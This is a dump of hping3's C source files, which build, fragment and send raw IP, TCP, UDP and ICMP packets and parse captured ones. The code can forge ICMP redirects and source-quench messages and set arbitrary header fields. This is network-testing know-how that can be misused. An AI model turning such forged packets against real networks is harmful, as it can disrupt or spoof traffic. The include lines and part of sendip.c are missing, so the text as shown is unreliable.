sizeof(hcmph)); hcmph.type = type; switch (type) { case HCMP_RESTART: hcmph.typedep.seqnum = htons((__u16) arg); break; case HCMP_SOURCE_QUENCH: case HCMP_SOURCE_STIRUP: hcmph.typedep.usec = htonl(arg); break; default: assert(MUST_BE_UNREACHED); } /* use hcmphdr_p to transmit hcmph to data_handler() */ hcmphdr_p = &hcmph; kill(getpid(), SIGALRM); /* send hcmp */ return; } hping3-3.a2.ds2/sendicmp.c000066400000000000000000000165011021454026700153500ustar00rootroot00000000000000/* * $smu-mark$ * $name: sendicmp.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:49 MET 1999$ * $rev: 8$ */ /* $Id: sendicmp.c,v 1.1.1.1 2003/08/31 17:23:53 antirez Exp $ */ #include /* this should be not needed, but ip_icmp.h lacks it */ #include #include #include #include #include #include #include #include #include "hping2.h" #include "globals.h" static int _icmp_seq = 0; void send_icmp_echo(void); void send_icmp_other(void); void send_icmp_timestamp(void); void send_icmp_address(void); void send_icmp(void) { switch(opt_icmptype) { case ICMP_ECHO: /* type 8 */ case ICMP_ECHOREPLY: /* type 0 */ send_icmp_echo(); break; case ICMP_DEST_UNREACH: /* type 3 */ case ICMP_SOURCE_QUENCH: /* type 4 */ case ICMP_REDIRECT: /* type 5 */ case ICMP_TIME_EXCEEDED: /* type 11 */ send_icmp_other(); break; case ICMP_TIMESTAMP: case ICMP_TIMESTAMPREPLY: send_icmp_timestamp(); break; case ICMP_ADDRESS: case ICMP_ADDRESSREPLY: send_icmp_address(); break; default: if (opt_force_icmp) { send_icmp_other(); break; } else { printf("[send_icmp] Unsupported icmp type!\n"); exit(1); } } } void send_icmp_echo(void) { char *packet, *data; struct myicmphdr *icmp; packet = malloc(ICMPHDR_SIZE + data_size); if (packet == NULL) { perror("[send_icmp] malloc"); return; } memset(packet, 0, ICMPHDR_SIZE + data_size); icmp = (struct myicmphdr*) packet; data = packet + ICMPHDR_SIZE; /* fill icmp hdr */ icmp->type = opt_icmptype; /* echo replay or echo request */ icmp->code = opt_icmpcode; /* should be indifferent */ icmp->checksum = 0; icmp->un.echo.id = getpid() & 0xffff; icmp->un.echo.sequence = _icmp_seq; /* data */ data_handler(data, data_size); /* icmp checksum */ if (icmp_cksum == -1) icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + data_size); else icmp->checksum = icmp_cksum; /* adds this pkt in delaytable */ if (opt_icmptype == ICMP_ECHO) delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT); /* send packet */ send_ip_handler(packet, ICMPHDR_SIZE + data_size); free (packet); _icmp_seq++; } void send_icmp_timestamp(void) { char *packet; struct myicmphdr *icmp; struct icmp_tstamp_data *tstamp_data; packet = malloc(ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data)); if (packet == NULL) { perror("[send_icmp] malloc"); return; } memset(packet, 0, ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data)); icmp = (struct myicmphdr*) packet; tstamp_data = (struct icmp_tstamp_data*) (packet + ICMPHDR_SIZE); /* fill icmp hdr */ icmp->type = opt_icmptype; /* echo replay or echo request */ icmp->code = 0; icmp->checksum = 0; icmp->un.echo.id = getpid() & 0xffff; icmp->un.echo.sequence = _icmp_seq; tstamp_data->orig = htonl(get_midnight_ut_ms()); tstamp_data->recv = tstamp_data->tran = 0; /* icmp checksum */ if (icmp_cksum == -1) icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data)); else icmp->checksum = icmp_cksum; /* adds this pkt in delaytable */ if (opt_icmptype == ICMP_TIMESTAMP) delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT); /* send packet */ send_ip_handler(packet, ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data)); free (packet); _icmp_seq++; } void send_icmp_address(void) { char *packet; struct myicmphdr *icmp; packet = malloc(ICMPHDR_SIZE + 4); if (packet == NULL) { perror("[send_icmp] malloc"); return; } memset(packet, 0, ICMPHDR_SIZE + 4); icmp = (struct myicmphdr*) packet; /* fill icmp hdr */ icmp->type = opt_icmptype; /* echo replay or echo request */ icmp->code = 0; icmp->checksum = 0; icmp->un.echo.id = getpid() & 0xffff; icmp->un.echo.sequence = _icmp_seq; memset(packet+ICMPHDR_SIZE, 0, 4); /* icmp checksum */ if (icmp_cksum == -1) icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + 4); else icmp->checksum = icmp_cksum; /* adds this pkt in delaytable */ if (opt_icmptype == ICMP_TIMESTAMP) delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT); /* send packet */ send_ip_handler(packet, ICMPHDR_SIZE + 4); free (packet); _icmp_seq++; } void send_icmp_other(void) { char *packet, *data, *ph_buf; struct myicmphdr *icmp; struct myiphdr icmp_ip; struct myudphdr *icmp_udp; int udp_data_len = 0; struct pseudohdr *pseudoheader; int left_space = IPHDR_SIZE + UDPHDR_SIZE + data_size; packet = malloc(ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); ph_buf = malloc(PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); if (packet == NULL || ph_buf == NULL) { perror("[send_icmp] malloc"); return; } memset(packet, 0, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); memset(ph_buf, 0, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); icmp = (struct myicmphdr*) packet; data = packet + ICMPHDR_SIZE; pseudoheader = (struct pseudohdr *) ph_buf; icmp_udp = (struct myudphdr *) (ph_buf + PSEUDOHDR_SIZE); /* fill icmp hdr */ icmp->type = opt_icmptype; /* ICMP_TIME_EXCEEDED */ icmp->code = opt_icmpcode; /* should be 0 (TTL) or 1 (FRAGTIME) */ icmp->checksum = 0; if (opt_icmptype == ICMP_REDIRECT) memcpy(&icmp->un.gateway, &icmp_gw.sin_addr.s_addr, 4); else icmp->un.gateway = 0; /* not used, MUST be 0 */ /* concerned packet headers */ /* IP header */ icmp_ip.version = icmp_ip_version; /* 4 */ icmp_ip.ihl = icmp_ip_ihl; /* IPHDR_SIZE >> 2 */ icmp_ip.tos = icmp_ip_tos; /* 0 */ icmp_ip.tot_len = htons((icmp_ip_tot_len ? icmp_ip_tot_len : (icmp_ip_ihl<<2) + UDPHDR_SIZE + udp_data_len)); icmp_ip.id = htons(getpid() & 0xffff); icmp_ip.frag_off = 0; /* 0 */ icmp_ip.ttl = 64; /* 64 */ icmp_ip.protocol = icmp_ip_protocol; /* 6 (TCP) */ icmp_ip.check = 0; memcpy(&icmp_ip.saddr, &icmp_ip_src.sin_addr.s_addr, 4); memcpy(&icmp_ip.daddr, &icmp_ip_dst.sin_addr.s_addr, 4); icmp_ip.check = cksum((__u16 *) &icmp_ip, IPHDR_SIZE); /* UDP header */ memcpy(&pseudoheader->saddr, &icmp_ip_src.sin_addr.s_addr, 4); memcpy(&pseudoheader->daddr, &icmp_ip_dst.sin_addr.s_addr, 4); pseudoheader->protocol = icmp_ip.protocol; pseudoheader->lenght = icmp_ip.tot_len; icmp_udp->uh_sport = htons(icmp_ip_srcport); icmp_udp->uh_dport = htons(icmp_ip_dstport); icmp_udp->uh_ulen = htons(UDPHDR_SIZE + udp_data_len); icmp_udp->uh_sum = cksum((__u16 *) ph_buf, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); /* filling icmp body with concerned packet header */ /* fill IP */ if (left_space == 0) goto no_space_left; memcpy(packet+ICMPHDR_SIZE, &icmp_ip, left_space); left_space -= IPHDR_SIZE; data += IPHDR_SIZE; if (left_space <= 0) goto no_space_left; /* fill UDP */ memcpy(packet+ICMPHDR_SIZE+IPHDR_SIZE, icmp_udp, left_space); left_space -= UDPHDR_SIZE; data += UDPHDR_SIZE; if (left_space <= 0) goto no_space_left; /* fill DATA */ data_handler(data, left_space); no_space_left: /* icmp checksum */ if (icmp_cksum == -1) icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); else icmp->checksum = icmp_cksum; /* send packet */ send_ip_handler(packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); free (packet); free (ph_buf); } hping3-3.a2.ds2/sendip.c000066400000000000000000000061021021454026700150240ustar00rootroot00000000000000/* * $smu-mark$ * $name: sendip.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:49 MET 1999$ * $rev: 8$ */ /* $Id: sendip.c,v 1.2 2004/04/09 23:38:56 antirez Exp $ */ #include #include #include #include #include #include #include #include "hping2.h" #include "globals.h" void send_ip (char* src, char *dst, char *data, unsigned int datalen, int more_fragments, unsigned short fragoff, char *options, char optlen) { char *packet; int result, packetsize; struct myiphdr *ip; packetsize = IPHDR_SIZE + optlen + datalen; if ( (packet = malloc(packetsize)) == NULL) { perror("[send_ip] malloc()"); return; } memset(packet, 0, packetsize); ip = (struct myiphdr*) packet; /* copy src and dst address */ memcpy(&ip->saddr, src, sizeof(ip->saddr)); memcpy(&ip->daddr, dst, sizeof(ip->daddr)); /* build ip header */ ip->version = 4; ip->ihl = (IPHDR_SIZE + optlen + 3) >> 2; ip->tos = ip_tos; #if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI /* FreeBSD */ /* NetBSD */ ip->tot_len = packetsize; #else /* Linux */ /* OpenBSD */ ip->tot_len = htons(packetsize); #endif if (!opt_fragment) { ip->id = (src_id == -1) ? htons((unsigned short) rand()) : htons((unsigned short) src_id); } else /* if you need fragmentation id must not be randomic */ { /* FIXME: when frag. enabled sendip_handler shold inc. ip->id */ /* for every frame sent */ ip->id = (src_id == -1) ? htons(getpid() & 255) : htons((unsigned short) src_id); } #if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD | defined OSTYPE_BSDI /* FreeBSD */ /* NetBSD */ ip->frag_off |= more_fragments; ip->frag_off |= fragoff >> 3; #else /* Linux */ /* OpenBSD */ ip->frag_off |= htons(more_fragments); ip->frag_off |= htons(fragoff >> 3); /* shift three flags bit */ #endif ip->ttl = src_ttl; if (opt_rawipmode) ip->protocol = raw_ip_protocol; else if (opt_icmpmode) ip->protocol = 1; /* icmp */ else if (opt_udpmode) ip->protocol = 17; /* udp */ else ip->protocol = 6; /* tcp */ ip->check = 0; /* always computed by the kernel */ /* copies options */ if (options != NULL) memcpy(packet+IPHDR_SIZE, options, optlen); /* copies data */ memcpy(packet + IPHDR_SIZE + optlen, data, datalen); if (opt_debug == TRUE) { unsigned int i; for (i=0; i$ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:49 MET 1999$ * $rev: 3$ */ /* $Id: sendip_handler.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include "hping2.h" #include "globals.h" void send_ip_handler(char *packet, unsigned int size) { ip_optlen = ip_opt_build(ip_opt); if (!opt_fragment && (size+ip_optlen+20 >= h_if_mtu)) { /* auto-activate fragmentation */ virtual_mtu = h_if_mtu-20; virtual_mtu = virtual_mtu - (virtual_mtu % 8); opt_fragment = TRUE; opt_mf = opt_df = FALSE; /* deactivate incompatible options */ if (opt_verbose || opt_debug) printf("auto-activate fragmentation, fragments size: %d\n", virtual_mtu); } if (!opt_fragment) { unsigned short fragment_flag = 0; if (opt_mf) fragment_flag |= MF; /* more fragments */ if (opt_df) fragment_flag |= DF; /* dont fragment */ send_ip((char*)&local.sin_addr, (char*)&remote.sin_addr, packet, size, fragment_flag, ip_frag_offset, ip_opt, ip_optlen); } else { unsigned int remainder = size; int frag_offset = 0; while(1) { if (remainder <= virtual_mtu) break; send_ip((char*)&local.sin_addr, (char*)&remote.sin_addr, packet+frag_offset, virtual_mtu, MF, frag_offset, ip_opt, ip_optlen); remainder-=virtual_mtu; frag_offset+=virtual_mtu; } send_ip((char*)&local.sin_addr, (char*)&remote.sin_addr, packet+frag_offset, remainder, NF, frag_offset, ip_opt, ip_optlen); } } hping3-3.a2.ds2/sendrawip.c000066400000000000000000000007721021454026700155450ustar00rootroot00000000000000/* $Id: sendrawip.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include #include #include #include #include #include "hping2.h" #include "globals.h" void send_rawip(void) { char *packet; packet = malloc(data_size); if (packet == NULL) { perror("[send_rawip] malloc()"); return; } memset(packet, 0, data_size); data_handler(packet, data_size); send_ip_handler(packet, data_size); free(packet); } hping3-3.a2.ds2/sendtcp.c000066400000000000000000000051721021454026700152100ustar00rootroot00000000000000/* * $smu-mark$ * $name: sendtcp.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:49 MET 1999$ * $rev: 8$ */ /* $Id: sendtcp.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include #include #include #include #include #include "hping2.h" #include "globals.h" void send_tcp(void) { int packet_size; int tcp_opt_size = 0; char *packet, *data; struct mytcphdr *tcp; struct pseudohdr *pseudoheader; unsigned char *tstamp; if (opt_tcp_timestamp) tcp_opt_size = 12; packet_size = TCPHDR_SIZE + tcp_opt_size + data_size; packet = malloc(PSEUDOHDR_SIZE + packet_size); if (packet == NULL) { perror("[send_tcphdr] malloc()"); return; } pseudoheader = (struct pseudohdr*) packet; tcp = (struct mytcphdr*) (packet+PSEUDOHDR_SIZE); tstamp = (unsigned char*) (packet+PSEUDOHDR_SIZE+TCPHDR_SIZE); data = (char*) (packet+PSEUDOHDR_SIZE+TCPHDR_SIZE+tcp_opt_size); memset(packet, 0, PSEUDOHDR_SIZE+packet_size); /* tcp pseudo header */ memcpy(&pseudoheader->saddr, &local.sin_addr.s_addr, 4); memcpy(&pseudoheader->daddr, &remote.sin_addr.s_addr, 4); pseudoheader->protocol = 6; /* tcp */ pseudoheader->lenght = htons(TCPHDR_SIZE+tcp_opt_size+data_size); /* tcp header */ tcp->th_dport = htons(dst_port); tcp->th_sport = htons(src_port); /* sequence number and ack are random if not set */ tcp->th_seq = (set_seqnum) ? htonl(tcp_seqnum) : htonl(rand()); tcp->th_ack = (set_ack) ? htonl(tcp_ack) : htonl(rand()); tcp->th_off = src_thoff + (tcp_opt_size >> 2); tcp->th_win = htons(src_winsize); tcp->th_flags = tcp_th_flags; /* tcp timestamp option */ if (opt_tcp_timestamp) { __u32 randts = rand() ^ (rand() << 16); tstamp[0] = tstamp[1] = 1; /* NOOP */ tstamp[2] = 8; tstamp[3] = 10; /* 10 bytes, kind+len+T1+T2 */ memcpy(tstamp+4, &randts, 4); /* random */ memset(tstamp+8, 0, 4); /* zero */ } /* data */ data_handler(data, data_size); /* compute checksum */ #ifdef STUPID_SOLARIS_CHECKSUM_BUG tcp->th_sum = packet_size; #else tcp->th_sum = cksum((u_short*) packet, PSEUDOHDR_SIZE + packet_size); #endif /* adds this pkt in delaytable */ delaytable_add(sequence, src_port, time(NULL), get_usec(), S_SENT); /* send packet */ send_ip_handler(packet+PSEUDOHDR_SIZE, packet_size); free(packet); sequence++; /* next sequence number */ if (!opt_keepstill) src_port = (sequence + initsport) % 65536; if (opt_force_incdport) dst_port++; } hping3-3.a2.ds2/sendudp.c000066400000000000000000000036761021454026700152210ustar00rootroot00000000000000/* * $smu-mark$ * $name: sendudp.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:49 MET 1999$ * $rev: 8$ */ /* $Id: sendudp.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include #include #include #include #include #include "hping2.h" #include "globals.h" /* void hexdumper(unsigned char *packet, int size); */ void send_udp(void) { int packet_size; char *packet, *data; struct myudphdr *udp; struct pseudohdr *pseudoheader; packet_size = UDPHDR_SIZE + data_size; packet = malloc(PSEUDOHDR_SIZE + packet_size); if (packet == NULL) { perror("[send_udphdr] malloc()"); return; } pseudoheader = (struct pseudohdr*) packet; udp = (struct myudphdr*) (packet+PSEUDOHDR_SIZE); data = (char*) (packet+PSEUDOHDR_SIZE+UDPHDR_SIZE); memset(packet, 0, PSEUDOHDR_SIZE+packet_size); /* udp pseudo header */ memcpy(&pseudoheader->saddr, &local.sin_addr.s_addr, 4); memcpy(&pseudoheader->daddr, &remote.sin_addr.s_addr, 4); pseudoheader->protocol = 17; /* udp */ pseudoheader->lenght = htons(packet_size); /* udp header */ udp->uh_dport = htons(dst_port); udp->uh_sport = htons(src_port); udp->uh_ulen = htons(packet_size); /* data */ data_handler(data, data_size); /* compute checksum */ #ifdef STUPID_SOLARIS_CHECKSUM_BUG udp->uh_sum = packet_size; #else udp->uh_sum = cksum((__u16*) packet, PSEUDOHDR_SIZE + packet_size); #endif /* adds this pkt in delaytable */ delaytable_add(sequence, src_port, time(NULL), get_usec(), S_SENT); /* send packet */ send_ip_handler(packet+PSEUDOHDR_SIZE, packet_size); free(packet); sequence++; /* next sequence number */ if (!opt_keepstill) src_port = (sequence + initsport) % 65536; if (opt_force_incdport) dst_port++; } hping3-3.a2.ds2/signal.c000066400000000000000000000012361021454026700150220ustar00rootroot00000000000000/* protable signal() like */ /* $Id: signal.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include /* Portable signal() from R.Stevens, * modified to reset the handler */ void (*Signal(int signo, void (*func)(int)))(int) { struct sigaction act, oact; act.sa_handler = func; sigemptyset(&act.sa_mask); act.sa_flags = 0; /* So if set SA_RESETHAND is cleared */ if (signo == SIGALRM) { #ifdef SA_INTERRUPT act.sa_flags |= SA_INTERRUPT; /* SunOS 4.x */ #endif } else { #ifdef SA_RESTART act.sa_flags |= SA_RESTART; /* SVR4, 4.4BSD, Linux */ #endif } if (sigaction(signo, &act, &oact) == -1) return SIG_ERR; return (oact.sa_handler); } hping3-3.a2.ds2/sockopt.c000066400000000000000000000016151021454026700152300ustar00rootroot00000000000000/* * $smu-mark$ * $name: sockopt.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:49 MET 1999$ * $rev: 8$ */ /* $Id: sockopt.c,v 1.3 2003/09/07 11:21:18 antirez Exp $ */ #include #include #include /* IP_PROTOIP */ #include void socket_broadcast(int sd) { const int one = 1; if (setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&one, sizeof(one)) == -1) { printf("[socket_broadcast] can't set SO_BROADCAST option\n"); /* non fatal error */ } } void socket_iphdrincl(int sd) { const int one = 1; if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) == -1) { printf("[socket_iphdrincl] can't set IP_HDRINCL option\n"); /* non fatal error */ } } hping3-3.a2.ds2/split.c000066400000000000000000000304761021454026700147100ustar00rootroot00000000000000/* Copyright (C) 2003 Salvatore Sanfilippo * All rights reserved * $Id: split.c,v 1.4 2003/09/07 11:21:18 antirez Exp $ */ #include #include #include #include #include #include "ars.h" int ars_seems_ip(struct ars_iphdr *ip, size_t size) { if (ip->version == 4 && ip->ihl >= 5 && (ip->ihl << 2) <= size && ars_check_ip_cksum(ip) == 1) return 1; return 0; } int ars_guess_ipoff(void *packet, size_t size, int *lhs) { size_t orig_size = size; while(1) { struct ars_iphdr *ip = packet; if (size < sizeof (struct ars_iphdr)) break; if (ars_seems_ip(ip, size) == 0) { /* We may probably assume the link header size * to be multiple of two */ packet++; size--; continue; } *lhs = orig_size - size; return -ARS_OK; } return -ARS_ERROR; } int ars_check_ip_cksum(struct ars_iphdr *ip) { int ip_hdrsize = ip->ihl << 2; struct ars_iphdr *ip2; ip2 = alloca(ip_hdrsize); memcpy(ip2, ip, ip_hdrsize); ip2->check = 0; ip2->check = ars_cksum(ip2, ip_hdrsize); return (ip->check == ip2->check); } int ars_check_icmp_cksum(struct ars_icmphdr *icmp, size_t size) { struct ars_icmphdr *icmp2; icmp2 = alloca(size); memcpy(icmp2, icmp, size); icmp2->checksum = 0; icmp2->checksum = ars_cksum(icmp2, size); return (icmp->checksum == icmp2->checksum); } #define ARS_SPLIT_DONE 0 #define ARS_SPLIT_GET_IP 1 #define ARS_SPLIT_GET_IPOPT 2 #define ARS_SPLIT_GET_ICMP 3 #define ARS_SPLIT_GET_UDP 4 #define ARS_SPLIT_GET_TCP 5 #define ARS_SPLIT_GET_TCPOPT 6 #define ARS_SPLIT_GET_IGRP 7 #define ARS_SPLIT_GET_IGRPENTRY 8 #define ARS_SPLIT_GET_DATA 9 int ars_split_ip(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len); int ars_split_ipopt(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len); int ars_split_icmp(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len); int ars_split_udp(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len); int ars_split_tcp(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len); int ars_split_tcpopt(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len); int ars_split_igrp(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len); int ars_split_igrpentry(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len); int ars_split_data(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len); /* Take it in sync with ARS_SPLIT_* defines */ int (*ars_split_state_handler[])(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) = { NULL, ars_split_ip, ars_split_ipopt, ars_split_icmp, ars_split_udp, ars_split_tcp, ars_split_tcpopt, ars_split_igrp, ars_split_igrpentry, ars_split_data }; int ars_split_packet(void *packet, size_t size, int ipoff, struct ars_packet *pkt) { int offset = 0; int state = ARS_SPLIT_GET_IP; /* User asks for IP offset auto detection */ if (ipoff == -1 && ars_guess_ipoff(packet, size, &ipoff) != -ARS_OK) { ars_set_error(pkt, "IP offset autodetection failed"); return -ARS_INVALID; } offset += ipoff; size -= ipoff; /* Implemented as a finite state machine: * every state is handled with a protocol specific function */ while (state != ARS_SPLIT_DONE) { int error; int len = 0; error = ars_split_state_handler[state](pkt, packet + offset, size, &state, &len); if (error != -ARS_OK) return error; /* put off the link layer padding */ if (pkt->p_layer_nr == 1 && pkt->p_layer[0].l_type == ARS_TYPE_IP) { struct ars_iphdr *ip = pkt->p_layer[0].l_data; size = MIN(size, ntohs(ip->tot_len)); } offset += len; size -= len; /* Force the DONE state if we reached the end */ if (size == 0) state = ARS_SPLIT_DONE; } return -ARS_OK; } /* Select the right state based on the IP protocol field */ void ars_ip_next_state(int ipproto, int *state) { switch(ipproto) { case ARS_IPPROTO_IPIP: *state = ARS_SPLIT_GET_IP; break; case ARS_IPPROTO_ICMP: *state = ARS_SPLIT_GET_ICMP; break; case ARS_IPPROTO_TCP: *state = ARS_SPLIT_GET_TCP; break; case ARS_IPPROTO_UDP: *state = ARS_SPLIT_GET_UDP; break; case ARS_IPPROTO_IGRP: *state = ARS_SPLIT_GET_IGRP; break; default: *state = ARS_SPLIT_GET_DATA; break; } } int ars_split_ip(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) { struct ars_iphdr *ip = packet, *newip; int flags = 0; int ipsize; /* Check for bad header size and checksum */ if (size < sizeof(struct ars_iphdr)) { flags |= ARS_SPLIT_FTRUNC; ipsize = size; } else { ipsize = ip->ihl << 2; if (size < ipsize) { flags |= ARS_SPLIT_FTRUNC; ipsize = size; } else if (ip->ihl < 4 || ars_check_ip_cksum(ip) == 0) flags |= ARS_SPLIT_FBADCKSUM; ipsize = MIN(ipsize, 20); } if ((newip = ars_add_iphdr(pkt, 0)) == NULL) return -ARS_NOMEM; memcpy(newip, ip, ipsize); ars_set_flags(pkt, ARS_LAST_LAYER, flags); *len = ipsize; if (flags & ARS_SPLIT_FTRUNC) { *state = ARS_SPLIT_GET_DATA; return -ARS_OK; } if (ip->ihl > 5) { /* IP options */ /* IP protocol saved so after the IP option * processing we can start with the right status */ pkt->aux_ipproto = ip->protocol; *state = ARS_SPLIT_GET_IPOPT; pkt->aux = (ip->ihl - 5) << 2; return -ARS_OK; } ars_ip_next_state(ip->protocol, state); return -ARS_OK; } int ars_split_ipopt(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) { struct ars_ipopt *ipopt = packet; int flags = 0; int optsize; int error; if (ipopt->kind == ARS_IPOPT_END || ipopt->kind == ARS_IPOPT_NOOP) optsize = 1; else optsize = ipopt->len; /* Avoid infinite loop with broken packets */ if (optsize == 0) optsize = 1; /* pkt->aux was set by ars_split_ip, or by ars_split_ipopt itself */ size = MIN(size, pkt->aux); if (size == 0) { *len = 0; *state = ARS_SPLIT_GET_DATA; return -ARS_OK; } if (size < optsize) { flags |= ARS_SPLIT_FTRUNC; optsize = size; } pkt->aux -= optsize; error = ars_add_generic(pkt, optsize, ARS_TYPE_IPOPT); if (error != -ARS_OK) return error; memcpy(pkt->p_layer[pkt->p_layer_nr].l_data, ipopt, optsize); pkt->p_layer_nr++; ars_set_flags(pkt, ARS_LAST_LAYER, flags); *len = optsize; if (pkt->aux > 0) { *state = ARS_SPLIT_GET_IPOPT; } else { ars_ip_next_state(pkt->aux_ipproto, state); } return -ARS_OK; } int ars_split_icmp(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) { struct ars_icmphdr *icmp = packet, *newicmp; int flags = 0; int icmpsize = ARS_ICMPHDR_SIZE; /* Check for bad header size and checksum */ if (size < icmpsize) { flags |= ARS_SPLIT_FTRUNC; icmpsize = size; } else if (ars_check_icmp_cksum(icmp, size) == 0) flags |= ARS_SPLIT_FBADCKSUM; if ((newicmp = ars_add_icmphdr(pkt, 0)) == NULL) return -ARS_NOMEM; memcpy(newicmp, icmp, icmpsize); ars_set_flags(pkt, ARS_LAST_LAYER, flags); *len = icmpsize; if (flags & ARS_SPLIT_FTRUNC) { *state = ARS_SPLIT_GET_DATA; return -ARS_OK; } switch(icmp->type) { case ARS_ICMP_ECHO: case ARS_ICMP_ECHOREPLY: case ARS_ICMP_TIMESTAMP: case ARS_ICMP_TIMESTAMPREPLY: case ARS_ICMP_INFO_REQUEST: case ARS_ICMP_INFO_REPLY: *state = ARS_SPLIT_GET_DATA; break; default: *state = ARS_SPLIT_GET_IP; break; } return -ARS_OK; } int ars_split_data(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) { void *newdata; if ((newdata = ars_add_data(pkt, size)) == NULL) return -ARS_NOMEM; memcpy(newdata, packet, size); *len = size; *state = ARS_SPLIT_DONE; return -ARS_OK; } int ars_split_udp(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) { struct ars_udphdr *udp = packet, *newudp; int flags = 0; int udpsize = ARS_UDPHDR_SIZE; int error; u_int16_t udpcksum; /* XXX hack, we need to add a temp unusual layer (UDP+UDP_DATA) to * use the ars_udptcp_cksum() function. */ /* --- HACK START --- */ error = ars_add_generic(pkt, size, ARS_TYPE_UDP); if (error != -ARS_OK) return error; newudp = pkt->p_layer[pkt->p_layer_nr].l_data; memcpy(newudp, udp, size); newudp->uh_sum = 0; error = ars_udptcp_cksum(pkt, pkt->p_layer_nr, &udpcksum); if (error != ARS_OK) { printf("---ERROR DOING CHECKSUM\n"); pkt->p_layer_nr++; /* just to be sane */ return error; } error = ars_remove_layer(pkt, pkt->p_layer_nr); if (error != ARS_OK) return error; /* --- HACK END --- */ /* Check for bad header size and checksum */ if (size < udpsize) { flags |= ARS_SPLIT_FTRUNC; udpsize = size; } else if (udp->uh_sum != udpcksum) flags |= ARS_SPLIT_FBADCKSUM; if ((newudp = ars_add_udphdr(pkt, 0)) == NULL) return -ARS_NOMEM; memcpy(newudp, udp, udpsize); ars_set_flags(pkt, ARS_LAST_LAYER, flags); *len = udpsize; *state = ARS_SPLIT_GET_DATA; return -ARS_OK; } int ars_split_tcp(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) { struct ars_tcphdr *tcp = packet, *newtcp; int flags = 0; int tcpsize = tcp->th_off << 2; /* FIXME: may access random memory */ int error; u_int16_t tcpcksum; /* XXX hack, we need to add a temp unusual layer (TCP+TCP_DATA) to * use the ars_udptcp_cksum() function. */ /* --- HACK START --- */ error = ars_add_generic(pkt, size, ARS_TYPE_TCP); if (error != -ARS_OK) return error; newtcp = pkt->p_layer[pkt->p_layer_nr].l_data; memcpy(newtcp, tcp, size); newtcp->th_sum = 0; error = ars_udptcp_cksum(pkt, pkt->p_layer_nr, &tcpcksum); if (error != ARS_OK) { pkt->p_layer_nr++; /* just to be sane */ return error; } error = ars_remove_layer(pkt, pkt->p_layer_nr); if (error != ARS_OK) return error; /* --- HACK END --- */ /* Check for bad header size and checksum */ if (size < tcpsize) { flags |= ARS_SPLIT_FTRUNC; tcpsize = size; } else if (tcp->th_sum != tcpcksum) flags |= ARS_SPLIT_FBADCKSUM; tcpsize = MIN(tcpsize, 20); if ((newtcp = ars_add_tcphdr(pkt, 0)) == NULL) return -ARS_NOMEM; memcpy(newtcp, tcp, tcpsize); ars_set_flags(pkt, ARS_LAST_LAYER, flags); *len = tcpsize; if (tcp->th_off > 5) { *state = ARS_SPLIT_GET_TCPOPT; pkt->aux = (tcp->th_off - 5) << 2; } else { *state = ARS_SPLIT_GET_DATA; } return -ARS_OK; } int ars_split_tcpopt(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) { struct ars_tcpopt *tcpopt = packet; int flags = 0; int optsize; int error; if (tcpopt->kind == ARS_TCPOPT_EOL || tcpopt->kind == ARS_TCPOPT_NOP || tcpopt->kind == ARS_TCPOPT_SACK_PERM) optsize = 